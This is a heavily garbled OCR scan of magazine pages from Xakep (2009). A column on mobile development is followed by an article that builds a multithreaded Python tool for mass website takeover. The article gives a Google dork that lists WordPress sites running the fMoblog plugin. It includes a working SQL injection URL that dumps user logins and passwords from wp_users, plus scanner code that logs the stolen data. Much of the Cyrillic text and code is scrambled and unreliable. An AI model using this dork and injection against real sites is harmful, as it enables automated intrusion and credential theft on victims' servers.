50JlbWVlM He,rJ,OCTaTKOM 5lBJl51eTC51 oTCyrCTBl1e \I1HCTpYMeHTOB,Djl>l YA06H0(;1 OT Ml1pOBanOCb. 3a COBeTOM Vl nOMow,bfO CMeno MO;t:HO waraTb Ha code.~
1l3AKlII np\I1JlO>KeHl-1l1 Ha yCTpOL1CTBaX, BeAb pa6oTafOw,a51 Ha 3Myn>lTOpe nporpaM
r;om/a ndroid/groups.ht mi.
Ma SOBce Heo6513aTeflbHOTaK>Ke 6e3 np06JleM 6YAeT I-1CnonH>lTbC>l H3T€Jle¢OHe l
060CTAIlbHbIX:JlVlYHO MHe, HaS€pHOe, 60nbwe scero HpaB\l1TC~ J2ME (M lOP
o COBMECT~MOCTVI: KOr,o,a pe'1b3aXOAl-1TO MeHeeTpl-18l-1anbHblx Bew,ax
2.0+1. CHa H3V16oJlee npo,qYM3H2, XOHI \11 co CBO\l1MV1 He,qOCTaTKaMl1. Pa3Apa;t:aeT
[Hanpl-1Mep, progressive download, Bluetooth-'1aTc H€CKOflbKl-1Ml-1(6onee yeM
Bonpoc COBMeCTMMOCTl-1 Cpa3HblMVl Mo,o,enliM\I1Tene¢OHos, Kor,o,a y Ka>K,IJ,oro
YCTp0f1Cm3M\I1J. o6Hapy>Kl-1BaeTCR Macca nflOXO AOKYMeHTL-1pOBaHHblx oc06eH
npm-13Bo,o,\I1Tem, onpe,qeneHHbll1 Ha60p API
HOCTef1, npl-1cnOC06l-1TbC>l KKOTOpblM npeACTom HenocpeACTBeHHo nporpaM
11
Ha BTOpOM MeCTe - Windows Mobile. 3Ta OC ,o,aeTnporpaMMV1cT'j60flbwe B03
Ml-1CT'j. KpoMe scero npo'1ero, peaflbHbleYCTpOl1CTSa CTpaAaIOTBC>lLJeCKl-1Ml-1
MO>KHOCTCL1 no ynpaBJlel-I\I1lo::t::ene30M TeJle¢OH3, HO \I1311aTb HyIKHO 60Jlbwe ..Qn>l
OrpaHl-1yeHl-1>lMl-1 B pecypcax l-1 npO'1l-1Ml-1 Henpl-1\1THbIMI1 «CKJpnpl13aNl-'1».
J2ME l1,o,fl" WM eCTb OTfl\l1YHble IDE [Eclipse V1 Visual Studio] \11 cpe,o,CTBa OTflaA
OAOKYMEHTAW1101: Bce, '1TO KaCaerC51 6a30B0f1 nflaT¢opMbl JTWI-YCTpof1CTB
KlII. OljeHb MHoroAoKYMeHTa~\I1l11 Vl pa3JlW,HbiX how to. V1 TaM, \11 TaM HyIKeH onblT,
[java Technology ForWireless Industryl,- xopowo npopa60TaHo \11 OTJla>KeHO
cpa3y MaflO '--lTO nOflyyaeTC". nepexo,q H2 3T'j nJlaT¢opMY 03HayaeT MaKCl-1MyM
HOAb>lBOfl KpOeTC51 B,IJ,eTaJl>lX.l-1 Ao6paBweMyC>l ,o,oreCT\I1pOBaHI-1>l npV1flO>KeH\I1>l
C\I1,rJ,€H!Ilt13a ,o,e6arOM \11 Ha ¢opyMax, MI-1HI-1MyM Ko,o,I-1Hra. no,o, WinMo nOMor3CT
H3 Tefle¢oHe BPt1,rJ,f1l-1YAaCTc~ 060l1Tl1Cb 6e3yrJly6JleHl-1$l B,IJ,eTaJlI-1. 10ToBbTecb K
onblT npOrp3MMl-1pOSaHVlt1 WinAPI. Symbian MHe COBceM He nOHpaBl-1flacb.
yaCaM KOpneHl-1>l B debug·e.
803MOIKHO, nOToMy YTO 3HaKOM OTHOUneJlbHO nosepXHOCTHO.
o KOM bIOHIo1TIo1: cyw,eCTByeT HeCKOJl bKO 60nbw l-1 x,o,eBenonepc Kl-1 x KOM bfO HI-1Tl-1,
ODEHbrAX: nOK3 B03MOIKHOCTl-1 npo,o,3saTbLJepe3Android Market Her, HO 06ew,aKn, YTO BOT-BOT 6y,O,eT. rl r:ef1Y3Cpa3pa5aTbls3fOAugment Reality-l-1rpy
nOCB>lw,eHHbIX pa3pa6oTKe Mo6l-1JlbHb1X npl-1Jlo;t:eHl-1l1. 8 nepBylO O'1epe.Qb, 3TO pe
AJlt1 Android. MO>KHO C'1l1TaTb, YTO 3TO xo66l-1, HaAefOCb, 1-13 Hero nOJlj'lJl1TC>l '-ITO-TO
Ericsson, Motorola, KpoMe, eCTeCTBeHHO, cneu,l1¢l-1KaLJ,\I1L1 \11 guide-lines, AOcrynHblX
,O,OCTOf1HOe
AJl>l CK3Yl-1BaHI-151, OTBeTbl Ha HeKoTOpble Bonpocbl, CB>l3aHHble Coco6eHHOa$lMl-1
++++++++++++++++++++++++++++++++
lt1NnJlCMCHTau,i1\11 TOL1l-1Jl\l1 \I1HOL1 ¢yHKLJ,l-10H3JlbHOCTl-1, MO>KHO H3~T\I1 Ha epopYMax.
_
·,ciencesoft.coml, r,o,e q pa6oTalO, Mbl y'1aCTByeM B npoeKTax no BceM Ha
CypCbl, nOMepIKI-1SaeMble np0113BoAvrreJl5lMl-1TeJle¢OHoB.nYl -lWVle -y Nokia, Sony
06ANDROID: B M06l-1JlbHOM no.u.pa3,qeneHl-1\11 KONnaH\I1\11 ScienceSoft (WNW OnbITPA60Tbl:J2ME.Sony-EricssonUIQ,
Motorola, HeMHoro BlackBerryOS Vl6blfll-1 ew,e nnaT¢opMbl oTLG 11 Samsung
3ACnYr~: Sun Certified Mobile Application Developer.
nI06~T: Sony Ericsson -
4ever l
HEJH06~T: S40, S60 3a 60JlbWOe KOJlVlyeCTBO He,o,OKyMeHTl-1pOBaHHbIX orpa
npaBfleHl1>lM pa3Bl-1Tl-1>l Mo6V1JlbH0f1 Java: J2ME. Blackberry (KoTOpa>l OLJeHb 6fl\l13K3 KCTaHAapT3M Sun!' Android. Cef1yac MHorl-1e java-npOrpaMMl-1CTbl c HaAe>KAoi:'i CMOTp>lT B CTOPOHY Android. OH T3K\I1 OTKpblJl MHOrl<1e He,rwcryn Hble j2me-wH\I1KaM API - 3TO OTfll-1YHaQ HOBaQ Hl-1Wa .QJl$l pOCTa AOJlI1 pblHKa
H\I1yeHI-1f1.
Java, nycTb 11 He B pYCfle nOJll-1Tl-1Kl-1 Sun. A KJ2M E-nJlaT¢OpMe B nOJlHOL1 Mepe
aJAVAME: '{'-iaCTHI-1KI1 Java Community Process 80 rflaBe CSun yCl-1JleHHO,IJ,Opa
npl1MeH\I1Mbl cnosa r"eHepafla.Qe !OJlJlR: «E€ >K,IJ,eT Befll-1KOe 6y,o,yw,ee,lIIBcer,o,3
fiaTblBafOT Java ME, HO HOBblepeW€Hl-151 npl-1HI-1MafOTC>l KaK-TOOyeHb MeAJleHHO >1
6Y,rJ,eTee >+<,o.3Tb... <Je
XAKEP 05 /125/ 09
~
095
'-+++
>> coding
':=r=J -+++
"+++
!POMAH "SPIRIT. XOMEHKOI
I HTTP,//TlITAMC,COHIt" ~
I::J -+++ I
,
.+++
i~I:P -+++
no-nporPAMMEPCKI1 ABToMaT~3a~~~B3noMaca~ToBcnOMo~b~
xopowo.
A COTHIO?
.+++
3aXBaTV1Tb OgV1H CaMT, K npV1Mepy, 3a yaC -
BOTy>K
::::r::::::J
geMCTBV1TenbHo 3g0pOBOI B 3TOM HenelKOM gene xaKepaM nOMoralOT
.+++
nporpaMMepcKV1e cpegCTBa aBTOMaTV13au,V1V1, CeMyaC Mbl, Ha OCHOBe KOHKpeTHoro npV1Mepa, HanV1weM Tymy Ha Python, C nOMOUJ,blO KOTOpOM
.+++
3aXBaTV1M HeCKonbKO geC5HKoB caMTOB,
'::::r::::::J CDeAM MHo>t<eCTBa ca~TOB Ha KOTOpbl€ no,o,nlt1ca
',+++
Ha MOR RSS-4l-1TallK3, nO'-leTHOe MeCT033HliIMaeT
concat {user_login, Ox3a,llser_ paSS,Ox3a,user_email),6+from+wp_
B3SlTbBCe C~M80nbl, KPOM€,ilBOi:iHblX KaBbicieK l-1/l\l1
KpynHe i:1 WI1U 6ar-TpeKep .h1liU/mjlwOrm .com.
users-
3HaKa
3,D,eCb BVI,o,VlM. '-ITO 6 KBaApaTHblX CKo6KClX YKa3aHO
&. nOClle o6pa6oTK\I1 p3r3KCnOM CTpOKa
BI-1,D,a:
nOCTOAI,t-We '-neHlt1e .o.aHHoro pecypca co epeMe HeM nO,ll,SellO /.leHA K I-1HTepeCHO~ MbICJJl,1 -
+++
::::r::::::J ,+++
1+++
::::r::::::J
HK
mCnli1COK >KEPTB
.<h3 class=r><,J.
H3 npaKU1Ke npltlMeHV1Tb BClO :ny Ky4y nOCTOQHHO
nlO6ol.1 Macco8bli:13axBar cai4T08 Ha'-1l1lHaeTC51 C
06HOBJl5110LlleLilc!;Ilt1H¢opMaL(l-1\1l. ~ peWliIll C03,D,aTb
nOlllCKa nOAxO,D,S1U\I-1X KaHA14,D,aryp.
csou ManeHbKl.1Li1 xaK-KOH8e~ep. KOTOPbli1 Ha 8)(0.0.
aBTop J1I06e3HO npeAOCTaSl-1n dork -
6y,ll,eT npl-1Hl-1MaTb cse)l(L-!C 6arl-1 c mil'NtJrm. a Ha
nOVlCKa, C nOMOUJ,blO KOTOPOi:i MO>KHO nonY'-l\l1Tb
- sepHeTCR K HaM B nepaOM napaMerpe B BVlAe:
Bblxo,o,e - BblJ:\aBaTb MHorO-MHoro naponei1 KcaiA
cOfllilAHbI(:i cnlllCOK nOTeHl.\V1anbHbIX >KepTB.
nttp:/Isaturdaybany oro/?pgge
TaM. KaKTbI AoraAblBaeWbCSl, V1AelO Sl lie TOJlbKO
npaB,Qa. V1CXOAA \113 onblTa. OH He (08CeM HaM
Tpe6yeTCs<.
8
onl-1CaH VI VI 4Jpa3YAllS<
AOsen,110 npaKTVI'ieCKoi:1 peanVl3al.\VlVI. 1i0 VI ropKJ
nO):lO~):IeT. eeAb ):IllS< cnl1014Ta Hy>KeH Ban VI,QHbll.1
V1cnollb3y51 3TVl3HaHVlR. H3,'''''weM CKpVlnTnap
V1AeHT144J14KaTOp CTpaH\I1L1bl. 3TOT ltIAeHTl4¢V1Ka
CltIHra [google,pyl. KOTOpbli:i 6Y,D,€T CK/laAbISaTb pe
6Y,ll,eT n0J1Y'i14Tb O,D,HO
06U\M(:i aJirOplo1Tf.ol pa60TbI Hawero 3a80AI<1Ka 6YAeT
TOp nOIo1CKa HaM Ha):lO
TaKI<1M:
BpeMeHllO cURL CTpaH\I1l.\bl, n03TOMY AOpK Mbl
• ,QOCTaTb cnVlCOK 8cex cai1TOB. TeOpeTVl4eCKI1
143MeHI<1M Ha:
4++
BaTbUI He 6y.o.eM, KOMMeHT~p08aHHble \1CXO,D,H~K\I1
S1 flVlWb 3aMe4Y,
• nOnbiTaTbC51 3KCnJlyaTVlposaTb Y513BIiIMOCTb B
inurl:page_id+"Gallery+powered
'-tTOTa"" nO."lKJlKJ'jeH O,QVlH HeVl3secTHbli:i Te6e ca
Ka>t<,!J,OM Vl3 H\I1X.
+by+fMobJog"
MOnltlCJ.lbli1 MO.Qyl1b curl. pa3MeUJ,eHHbli:l B (jlal.1J1e curl.py.
mnpli1MEP AIHI KOHBEII1EPA
pycurl. Curl.py COCTOIllT Bcero "'13 OAHoi:i cflYHK4\11\11.
AOpKY:
KOTopafl o6/ler'iaeT \I1CnOllb30BaHVI€ pycurl np\l1 Get-33npOC<JX. 3Ta ¢YHKl.\VlR url_get npVlHVlMaeT
http://www.google.co m/
search?q=dork&starl=O
ACM. B03bM€ M nocne.QHee, 'ITO eCTb Ha milwOrm nOAll1061i1Mbl(:i MHOr\l1MVI Word Press -
h.lle.1L
OjJ,ltlH napaMelp -
URL CaYlTa. a B03Bpall.\aeT 11.Jl1-1
nycToe 3Ha'-leHVle, eCflVl3anpoc He YA2nCR.
nOcne 3arpy3KVI CTpaH\I1l.\b1 Mbl npVlMeH VIM perynSlpKy. nOlly<"H18 C ee nOMOUJ,blO cnVlCOK
curL.py
wordpress Plugin fMoblog Remote SQL
URL Y513BIIlMblX
Injecti.on Vulnerability AUlhor: strange kevin
llerKO, nOCMoTpeB Ha \I1CXO,D,HylO CTpaHVlu,y ryr
ToD H .QJ1.51 ;:>a60'1'kJ co c'rpOJ{~MI1
11a
::r:::::J
Dark; "Gallery powered by fMoblog"
B Tere «a», KOTOPbl~ lII,QeT nocne 3J1eMeHTa C
import pycurl import StringIO
+++
Exploit: http://www.site. cam/?page_id= (valid_id] &id=
+++
99+union+all+select+l,2,3,4,group_
+++
~
096
ltIJlI-1
TenD OTseTa. PaCCMOTpVlM ero 60,1ee no~po6HO'
mllwOrm.com/c"(.ololtS/8229. rAe Onl1CaHa 6ara B
II
0 ... npe,QCTaSl1HeT co6ov, 06Bepn::y Ha~
ATenepb npOnapC14M ryrn no sblWe03HayeHHoMY
HaA Bbl60pOM np\l1Mepa ,n,O/lro MY4l11TbcRlie 6y
nnar\l1He rallep€ l -1 fMoblog:
.... 1,
3Y.JlbTaTbl B 4Jai:tll (l,'anpl-1Mep, google txt). Ha 3'rOM CKpl-1llTe, 8 cVlny ero npOCTOTbl, Mbl ocraHaBJlI<1
Tbl CMO>KeWb Ha(:iT14 80 Bpe3Ke.
nplilCTynVlMI
l::
id-12, 'iTO HaM ltI
>K€naHVleM nO.Qen",TbC51 CT0601.1 nOAPo6HOCT51MVI.
cOAepxaU\\I1x Ys:l3BVlMOCTb;
:+++
href=~http://
saturdaybang.org/?page_ id=12&id=16~ .
caihoB. COCTaS\I1Tb peryns<p Ky
nocne nOVlCKa: Bce Hy>t::Hoe HaM HaXOA14TCS1
if nO.QKnD'-laeM !I)O.lJ,'iP..~1 Anlot Pc.60'i'hl c ce
KflaCCOM «r,). VlTaK. npowy ll106\11Tb VI >t<anoeaTb
II B apry!I),=H,:,e r:epeAa€ " M
Haw per3Kcn:
de~
JRL 3anpoca
urI_get (urI) :
11 H:-IVlUl13mt3:1pyeM C6beKTh:
class=r><a hreE= ~ ( ["'»&]")
data = StrbgIO.StringIO() XAKEP 05/125109
» coding
Ir--I
a 3aTeM, 8 nepeMeHHblX. YKa~eM Ha3saHlo1Sl Qlai:!
rez = re.findall('::
110B. KOTopble HaM HY)KHbl:
if (len(rez)==O):
,rez)
failed(url) fi18_goog1e = «google. txt»
else:
file_success = «success. txt»
= pycur!.cu-:-:()
curl
(.~);;'
jlHacTpaWBaeM
success (url + ' : ' + rez(O]l
= «failed. txt»
thead = 20
file failed
pycu:=-l
max_count
print 'If ' + url +
tested'
curl. secopt (
pyeurl . FOLLG:':'LOC.!!..TION, 0)
B lile_google 6YAyrHaxoAV1TbC" TeCTlIlpyeMble
curl.setopt( pycurl.CONNECTTTMEOUT, 30) curl.setop~(pycurl.URL.urI) curl.setopt(pycu=1.:2,ITEFUNCTION, data.\'oJrite)
ca(iiTbi.
8 file_success nona,aeTYAa4HblL:i pe3y.nb
TaTTeCTl1pOaaHlIl5l, a 8 file_failed -
HeYAa4HblL:i.
If
06paMMleTC5l ABOeT04l>1eM IOx3aJ -
6bl Bce nOTOKl.1 M0rJ1lo13amlCblBaTb Io1H<popMa
I.leMy pe3y.nbTaT Mbl CMO)t(eM 1013BJ1e4b npocTo~
l..\V1Kl B $a~.J1bl 6eCnpenl'lTCTSeHHO. Cp,C11aTb 3TO
peryJl~pKoL:i.
6YAeT Io1cnOflHSHbC51 B nOTOKe B npOl..\eCce
~1CnOJJ~I.:=lev. 36.::;:<::
curl.pe=form{l
except:
3a
pass B03Bp~ll!lQeH E,:>e:3/J:b7-J7
return data.getvalue(}
HaMlil6Y.QeT ,10J1yyeH <flaVill
OTKpblHle, 3aKpblTltle V1 caMy 3anlo1Cb npeACTOIo1T
failed.txt.
TeCTl.1pOBaHvHl 6YAyr Ill.1Wb Bbl3bl8aTb I1X. Ail"
~ MHoronoTo4HOCTb
:noro nOAK11104ltlM B H3W€ M MOAy.ne TeCTlIlpOBa
8
Hltl51 r.naBHylO nporpaMMy, 4T06b! Io1MeTb ,Aocryn
nOT04HOCTb.
K $YHKl\ltl>lM, KOTopble Mbl H<l30eeM success V1
npe.QBapl1TenbHO l.13Y4l.1M HeMHoro Teop 111 101.
V1x
nOAKfl104eHlIlSl BblnOI1HV1M TaK:
google.txt co CnltlCKOM
Mbl MQ)f(eM nepe~n-1 K CilMOMy i'tHTepeCHoM¥ -
K
pa3pa6oTKe (1108Mbl TeCTL-1pOBaHlIl51.
~npOEKT~POBAH~E3ABOAA cnoco6aMIo1, IW MHe 6bf XQTenoc::, co,ellaTb CTaBKy Ha yHIi!8epcanbHOCTb -
MaH,Ay «import thread>,. HO 3a nyc KaTb a 6col1 10TH
HeY,A3YHOM B3J10Me, Hy)KHO Bbl38aTb:
failed (' site')
<PYHK411l11 reCTV1pOBaHlIlS1. nYCTb OHa 6YAeT Ha 3blBaTbCSl run lt1 B Ka4€CTBe apryMeHTa nplIlHlIlMaTb
nepBo~ (rl1aBHO~14aCTlt15y,o,er BXO,Ql.1Tb OTKPbl
urI Cal-1Ta Af151 recmpOBaHI151:
3anYCK <!JYH Kl..\>1lt1 npOBepKV1.
import. re
def
lJ,1Il1ll.
B KOH<p",re B nepeMeHHoi1 max_count_thead
Mbl YKCl)l(eM MaKCYlMaJlbhOe KOJ1V1l.leCTBO nOTOKOB,
XAKEP OSf125/09
npocTeHbKylO $YHKLJ,l1lO C O,l:\HOL:i lt1HCTpyKlJ,l1elir
Ie Python Heflb3" 06b51BIilTb lJ,IolK.n lo1l1V1
<PYHKLlYlIO coeceM 5eJ Io1HCTPYKUIo1~I:
•
dcf some_function (l :
pass
Aa.nee JanyCTVlM :3TY ¢YHKUYlIO KaK noTOK:
oTAeflbHbl~ $aL:in pap,lt1 o6ecne4eHlt1l'1 rV16KO
PA3PA50TKA WP.PY
cnoKoVi
impol·t curl
CTIII. nYCTb rna8Hbl~ ¢IaL:in 6Y,AeT Ha3blBalbC"
MO.r:\ynb wp.PYCOCTOlllT lt13 KOHeplllra >1 OI'HOL:i <PYHK
-
nOTOK KOMi1HAO~ thread.starl_new_thread
«pass»
,aelllt1Tb Bce X0351~CTBO Ha I-\Be 4aCHI. 83ap.a4lt1
~
a ,Aal1bWe
°11106ylO QlY HKU,1011O Ka K
AM AeMOHCTpal..\10111 ,l:\aHHOrO no,o,xoAa 06b51BI1M
,aaHl>Hl rIla8Horo MOAyMI. nepGL:iAeM K pa3pa6oTKe
wp.py.
AaMlo1. Mbl paCCMOTplt1M T011bKO O,D,KH [MO~
K nplIlMepy. YTo6bl 33m1CaTb V1HQlopMal..\Io1Kl 0
4T06b1 ero MO)t(HO 6blllO 6bl no,D, Hlt1X OnepaTlt1BHO
-
MHoronOT04HoCTb B nlo1TO H e .QOBOJ1bHO n pOCTa
06bl'lBI1Tb 6lt16.n110TeKY «thread» 4epe3 KO
CaMV1 <PYHKLllo1ltl Mbl paJpa60Ta€ M B np0l..\ecce C03
a tPaL:iJ1 C 4JYHK~lo1e(ii TeCTlIlpOSaH>1~
nOHV1MaHlIlSl
KOTOpe5l onpeAellfleT rJ1a8Hbl~ MOAyJlb. Tenepb.
Klt1e, lil CKplllnT p,OJ1)~:eH 6blTb p,OCTaTo4HO r>16Kl-1M,
a caMy<PYHKl..\IolKl npOBepKIo1 Mbl BblHeceM B
,D,ml I1Y4wero
JlI06l.1Mbl~l. AnSl ero l>lCnO.nb30BaHl>HI Hy;:+;;HO
6ar\<1 nOfl13Jll1iClTC51 BCl'l
B 06u.teM, 51 peWI111 pa3
SlApe Mbl 5YAeM l.1cnOJlb30BaTb MHoro
_main_ -3TOCneLJ,l1anbH351 nepeMeHHa51,
CKpL-1nTTeCH1pOaaHI-HI peamoyeTcSl pa3H blMlt1
autotester py,
II
lt1 peaJ1l.130aaTb ee MOiKHO pa3HblMlo1 Mero
(rom _main_ import. success, failed
TeOpen1'-1eCKlII Yl'l3SV1MblX (aVIlOS, 6J1aro.a.ap51 4eMy
-
a HeYAaYHOrO Bbl
HocmC5l Ha nOJOpHbl1ir CT0J16, l.1M~ KOTOpOMy
failed.
H1e cmolCKa ca ~TOB,
Pe3YilbTaTbl YAa4Horo 83nOMa 3anlt1CbIBaIOTC~ B cooTBeTcT8YIOL1lIo1~ ¢af1n,
nlo1CI1 B $aL:inblltl3 HeCI(OllbKltlX nOTOKOB. n03TOMY
nocne 3anycKJ HanlilcaHHoro CKplo1nTa google.py
MOAI1<!Jlt1u,lt1pOliaTb.
6naro,aap5l
BbIH€CTIo1 B rIlaBHylO nporpaMMY. a QlYHKl..\lt1l-1
curl.close{) Ii
nOrl.1Hbllo1 napo.nV1. nplIl BbiBOAe peJynbTaTaTOT
C Qla~J1aMIo1 eCTb0,AIo1H HlOaHc. HaM HYiKHO. 4TO
B QlYHKU.l-1l.1 TeCTlilpOBaHIo151 Hellb351,laK KaK OHa
try:
CH34ana B HeH AeJlaeTC5l 3anpoc. 8 KOTOpOM npl.1cyrcTByeTSQL-I1HbeKUlIl". OHa BeplieT HaM
:run(url);
thread.start_new_thread(
some_function, ())
new_url '" url + '&id= 999+union+all+select+l,2,3,4,
A nOCKOJ1bKY npe11eCTb noTOKOB B Io1X K0111il4eCTBe,
group_concat(Ox]a,Ox3a,user_
TO 3anYCTYlM cpa3Y ,o,eCSlTb WryK:
login,Ox3a,use r -P8ss,Ox3a,Ox3a) ,
6+froffi+wp_users--'
tor i in xrange(O,lO);
chread.start_new_thread(
some_function, ())
~
097
1+++
:,::r::::::J
»
coding
'.+++
"+++ lilt
I
611ArOAAPH MYllbH1KY, Mbl 3HAEM,KAK BbrrllHAI1T P' THON
+++
'-+++ I1MEHHO 3TOMY WOY PYTHON 06H3AH CBOI1M HA3BAHI1EM
:~ ;~~! .'.;)<
L+++
'.........1«)'1>1="'"
'~""J~~;;;r~=~~~;-;-~'5-:-~
,+++
::::r:=J '+++
f~:·;~..
'- ~~ S':
I!S_
10
~ '~H
....~._
'
' . - " ; - ,. ., . . . . .
,,1 "_.'" •.,,
~:~
"1"::::'.':::::" [~ ~~~~;:~;'
-
...............
N;_ _
1
.~._•• I,..
.
CKPI1H OAHOHI13 >KEPTB nOCllE 11 HbEKl..\11 11
3AeCbeCTb np06JI€Ma - oTcyrCTByer BcrpoeHHoe
mPA3PA60TKA SlAPA B rllaBHoL'i
H\t1e n010K061-l \t1X KOJlL-lyeCTBO npV1 ViCn0f1b30e<lHlIllil
nO,!J,KJlIO'-lIo1Tb ¢IYHKlI\.11O TecmpOS3 HWR. nYCTb
rna SHaH nporpaMMa MQ>l<eT 3&
nporpaMMe nepSblM ,o,enOM Hy>KHO
HamKaHa MR 60Pb6bl C Ay611I1PYI011\V1MI1Ur
iil€ _ test_site
= 'w'P'
ryrnal. Ko,o, ¢YHKlIlo1l'1 TaKOB:
4TO 6YAeT03HJ4aTb, 4TO KOJl1014eCTBO 33nyw;eHHblX
site. TO nmQH Bbl,o,aCT %an06y 113 OTcyrcrSlo1eTa ICora MOAYll~. n03TOMY nOAKJ1IO"laTb HY-KHO 4epe3
1:
ca~TaMI1 (eCJll.ol OHI'I oCTaHyrcSl nOClle napCltlHra
ECl1l1)1(e nonpo60B3Tb Bbl3saTb import file_tesl_
nOTOKOB paSHO Hy11l0 npltl Ka>K)l,OM 3anycKe nOTOKa Hy>KHoyaelllo1'-lI'1BaTb Haw ¢Inar H3
'w')
3AeCb Bce 1013seCTHO, KpOMe ¢YH KlIV1l-1 uniq. OHa
nepeMeHHoi1:
XpaHl<lTb KOJIVlyeCT60 aKTI'1BHblX nOTOKOB. Ha30BeM
O.
cest_site. file_success,
Cfailed = open (
test site. Iile_Lailed, 'w' l
\.1M~ ¢Iai1na C 4>YHKlIlo1eL'i 6Y,QeTxpaHHTbC~ 8
All" peWeHiIl>l 3T0l1 np0611eMbl AO(TaT04HO BseCTltl
ee «count_thread}) V1 BHa4a11e npltlC80ltlM eC1
+++
Q•
,
AonOI1HltlTenbHYIO nepeMeHHylO. KOTopaR 6y.o.eT
+++
•
'
__•.
cpeACl8o, ICQropoe 6bl KOHTpOflVlposaflO BblnOJ1He~
thread.
......----.~.
~"7~='=:~~~~ .j"""""'I,......:'~...::...-;.-- ~"7:::~=~;l~,~~~=--_' O O l _. .jA"• . " _
NETBEANS YA06HAH CPEAAAllH npOrPAMMI1H rA. B nocnEAHEE BPEMH OHA nOllHOCTblO 3AME HI111A MHE ECLIPSE
MO,Qyml
_._."
';.1 • .'~., ......
.
aepWltlTbCl'l, He A0>KIo1Aa51Cb BblnOllHeHltl>l nOTOKOBI
.::r:::::J
....... _.;;:
"oJ,.",.",·-; •." ...."""
,.... . .HIO)I<
+++
+++
y.,....
......,...."""., ..,
~'~!Nr
.~
... -'''''''
'.,o"""":,,,,<-·lQ~_~~::o21
'l" ,":':;'~~ --_ ..
'u
L+++
"'j.,.".,._""."
....,.._,,,. ,_.,_. ..
it-k..;
'1--"-" ~ ..:;;;;;; '
··D_·..... ·~H __ <..
_
.. i~""Jh;'W~~~~' ~ ..
~_.
i.::;:"
.. ,,',
cnell~al1bHYIO<PYHKl.I,HIO CJ1e,ayKlw,I-1M 06pa30M:
de! uniq(j.n2.ist): it o6bSisHM rryCTOi1 CruiCOK
rez = [J II LD1Kn no llCC'M}' nxO,q,HOI-l'y' Cl1vlCKy
.::r:::::J .~+++
for i in xrange(O,sys.arg.,,[3J):
count_thread +oo 1
thread.start_new_thread{
some_function,
(l)
test_site _import_(
file_Lese_site)
;0;
for ite.ll in inlist: k OCJT\1 3J1eMeHTa HaT B I1CXOJ1ffilleM
C!1Y:C:<8
5naro,o,apA 3T0i1 CTpO"lKe, Bce <pyHK1.411\.1 \.1 nepeMeHHble c wp.py 6YAyT AocrynHbl '-Iepe3
KpOMeToro, 6 K3>K,o,YIO ¢IyHKu,Io1JO. KOropylO Mbl
nepeMeHHylO test_site B fnaBHoi1 nporpaMMe.
nnaHlo1pyeM 3anYCK3Tb KaK nOTOK, HyxHoA06asIo1Tb
K nplo1Mepy, 4T06bl 06paTltlTbC51 K nepeMeHHoL'i c
113MeHeHIo1R,'-H06b1 OHa nplt133eepWeHl-1l-1 cBoeC1
MClKCIo1MallbHblM KOJ1V1yeCTBOM nOTOKOS. 06bSlS'
pa60TbI YMeHbwal1a 4>llar nOTOK08 H3 eAltlHl-1u,y:
J1eHHO~ B wp.py, Hy>KHO Han V1caTb CJ1eAYIOLllee:
if i ten not in rez:
#
no6aB~1 3:lEMEH? B pe'3YJlhTa'Y'
rez . append (i tern) re::.urn roz He 3a6Y,ll,b TaK>Ke Hanlo1caTb ¢YHKLJ,l-1101 ,ll,ll~ 3anlo1(1.1 pe3Yl1bTaToB.
def some_function():
print test_site.max_counc_thead
K npltlMepy,
ycnex Mbl
3aepl1KCl.1pyeM TaK:
global count_thread
count thread
- 1
AaJ1ee no XOAY nporpaMMbl HaM nOJlaraeTCSl OTKpblTb Heo6xop,lI1Mble ¢IaL111bl, I1MeHa KOTOpblX
B KOH1.4e nporpaMMbI Mbl Ham1weM 6eCKOHe'-lHbll1
onpe,o,eneHbl 8 ¢a~J1e wp.py.
1fI=J
global f_success
E_success."'-rite(tex:. +
"\0")
f_6uccess.flush()
1I1011(J1, )l(AYLllI'1I1 3aaepweHIo1>l Bcex nOTOK08:
.Iit 4- =+- +
d,;.f success (texc i :
fi;o; open (
while (count_thead»O);
pass
Tenepb np\.1MeHI1M 3TO B H3wei1 nporpaMMe.
test_site.file_google, 'r'l
Tyr Mbi BIo1Alo1M ¢YHKlIl,oHO flush, nOCTOI'lHHO c6pa
site_list = fi.readlines() site_list = unlq(site_list)
CblSatow,ylO epaL'inoBbli1 6y¢lep Ha Alt1CK -
f_success = open (
3aSepWeHI151 nporpaMMbl. 3aTeM l1,[\eT rnaBHblL'i
:nOT
MaHeBp cnaeeT HaMbtTble AaHHbie OT BHe3anHoro
I
iH
++
.098
XAKEP 05/125/09
» coding
l\LiIKfl npOrpaMMbl,
KOTOPbli, "'traer so:,:~la i4 ~;S:;OlaaeTOT
count_thead +=1
Ty,ll,a no O,lJ,HOL7! 3anltlClIl URL <:a,t~e'-~0€.3I-le":"o"" pop:
jj
3anycT11Tb npoBepKy
~3j:jToro
cav,Ta
thread. start_new_thread (ruo_test , (site,)) eC";m1 nO'J'oKoa 60nbwe l~aKCl1ManbHQI'O "H1crm,
site:;. site_list.po;>()
'r(~
OH n03BOJlHeT pa6oTaTbco cnlo1CKOM, KClK COCT€KOM ~ TO €CTb,
nOnOli\.LleM, nOK<l
KaKoi1-HI16y.o.'b
OCI-\060A~TC5I
else:
6epeTCaMylO sep:XHKlIO ~anlt1Cb 11 npl-\ :nOM YAaJ1~eTee 1-13 cnVlCKa.
~
pass
cjJYHKl...\l-1JO
run_test KaK nOTOK. A OHa y>t<e.
B CBOIO o4epeAb. BbJ
30Ber ¢YHKLJ.lt1lO T€CTl.1pOSaHI151 run 1113 MO.o.yJl5'1 google
def
py:
run~test(sitel:
global
3TOT KOA06ecne'-lIo1BaeT 3anycK ¢YHK~l<1l<1 TecTlo1poBaHIo1~ K(lK
hTt~Qrrn.COr:n.
6b1flO 60flbwe MaKCltlMaflbHOro '-I!'lCJla, 'ITO YKa3aHO B nepeMeH
• 6ara, 33Kl3aHHa51
s wp.py. HanoMHIO, Bce
test_site.run(site)
ew.rolt5ll82.2~.
~3AIl\I1TAOT«APY3E~»
• Oeplt1l1L-tanbHbl~ caKT
Ka KTbl HaeepH5II<<l 3aMeTIo1J1, 6 npV1Mepe 51 He Io1cnOJlb3YlO npOK CaM 3anycK nOTOKOB BblrJl5;Al-1TTaK:
CIo1,
Ca;1T~
linO'K8 ec"tL Heo6pa6o-rdH1-!b1€
eCllYJ KQll!1""·'eCTeo nOTOKOB ~..c:eHbu:;e M8KCI1Mi;l."b
Horo 'lMcr.:a
B3:iiTb
co cnv.c¥:l;.
OAl'll!
cpe,qCTsa
KOHe4HO, n pV1 >KeflaHIo1V1, MO)l(HO peaflV130SaTb nOAAep)KKYCOK~
AJ151 pa3pa6oThH:
